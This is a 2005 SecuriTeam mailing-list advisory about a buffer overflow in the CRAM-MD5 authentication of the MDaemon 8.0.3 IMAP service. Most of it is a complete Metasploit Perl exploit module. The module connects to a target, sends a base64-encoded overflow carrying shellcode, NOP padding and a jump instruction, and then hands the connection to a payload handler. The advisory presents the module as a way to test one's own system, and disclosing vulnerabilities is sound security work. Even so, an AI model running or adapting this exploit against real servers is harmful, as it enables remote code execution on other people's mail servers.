[EXPL] Mdaemon Buffer Overflow (AUTHENTICATE CRAM-MD5, Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/16/05

  • Next message: SecuriTeam: "[UNIX] shtool Insecure Temporary File Creation" 
    To: list@securiteam.com
Date: 16 Aug 2005 17:00:31 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Mdaemon Buffer Overflow (AUTHENTICATE CRAM-MD5, Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    MDaemon - "Windows-based email server software, contains full mail server
    functionality and control with a strong emphasis on security to protect
    your email communication needs."

    This Metasploit module exploits a buffer overflow in the CRAM-MD5
    authentication of the MDaemon IMAP service and allows you to test your
    system against the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * Mdaemon version 8.0.3

    Exploit module:
    package Msf::Exploit::mdaemon_imap;
    use strict;
    use base 'Msf::Exploit';
    use Msf::Socket::Tcp;
    use Pex::Text;

    my $advanced = {
    };

    my $info = {
    'Name' => 'Mdaemon 8.0.3 IMAD CRAM-MD5 Authentication Overflow',
    'Version' => '$Revision: 1.1 $',
    'Authors' => [ 'anonymous', ],
    'Arch' => [ 'x86' ],
    'OS' => [ 'win32'],
    'Priv' => 1,
    'AutoOpts' =>
    {
    'EXITFUNC' => 'process',
    },
    'UserOpts' =>
    {
    'RHOST' => [1, 'ADDR', 'The target address'],
    'RPORT' => [1, 'PORT', 'The target port', 143],
    },
    'Payload' =>
    {
    'Prepend' => "\x81\xc4\x1f\xff\xff\xff\x44", # make stack happy
    'Space' => 500,
    'BadChars' => "\x00",
    },
    'Description' => Pex::Text::Freeform(qq{
    This module exploits a buffer overflow in the CRAM-MD5 authentication of
    the
    MDaemon IMAP service.
    }),
    'Refs' =>
    [
    ['OSVDB', 11838],
    ['BID', 11675],
    ],
    'Targets' =>
    [
    ['MDaemon IMAP 8.0.3 Windows XP SP2'],
    ],
    'Keys' => ['mdaemon'],
    };

    sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
    @_);

    return($self);
    }

    sub Exploit {
    my $self = shift;

    my $targetHost = $self->GetVar('RHOST');
    my $targetPort = $self->GetVar('RPORT');
    my $targetIndex = $self->GetVar('TARGET');
    my $encodedPayload = $self->GetVar('EncodedPayload');
    my $shellcode = $encodedPayload->Payload;
    my $target = $self->Targets->[$targetIndex];

    my $sock = Msf::Socket::Tcp->new(
    'PeerAddr' => $targetHost,
    'PeerPort' => $targetPort,
    );
    if($sock->IsError) {
    $self->PrintLine('Error creating socket: ' . $sock->GetError);
    return;
    }

    my $resp = $sock->Recv(-1);
    chomp($resp);
    $self->PrintLine('[*] Got Banner: ' . $resp);

    my $req = "a001 authenticate cram-md5\r\n";
    $sock->Send($req);
    $self->PrintLine('[*] CRAM-MD5 authentication method asked');

    $resp = $sock->Recv(-1);
    chomp($resp);
    $self->PrintLine('[*] Got CRAM-MD5 answer: ' . $resp);

    $req = "AAAA" . $shellcode . ("\x90" x 258) . "\xe9\x05\xfd\xff\xff";
    $req = Pex::Text::Base64Encode($req, '') . "\r\n";
    $sock->Send($req);
    $self->PrintLine('[*] CRAM-MD5 authentication with shellcode sent');

    $resp = $sock->Recv(-1);
    chomp($resp);
    $self->PrintLine('[*] Got authentication reply: ' . $resp);

    $req = "a002 LOGOUT\r\n";
    $sock->Send($req);
    $self->PrintLine('[*] Send LOGOUT to close the thread and trigger an
    exception');

    $resp = $sock->Recv(-1);
    chomp($resp);
    $self->PrintLine('[*] Got LOGOUT reply: ' . $resp);

    $self->PrintLine("[*] Overflow request sent, sleeping for one second");
    select(undef, undef, undef, 1);

    $self->Handler($sock);
    return;
    }

    1;

    ADDITIONAL INFORMATION

    The information has been provided by Anonymous.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] shtool Insecure Temporary File Creation"

    Relevant Pages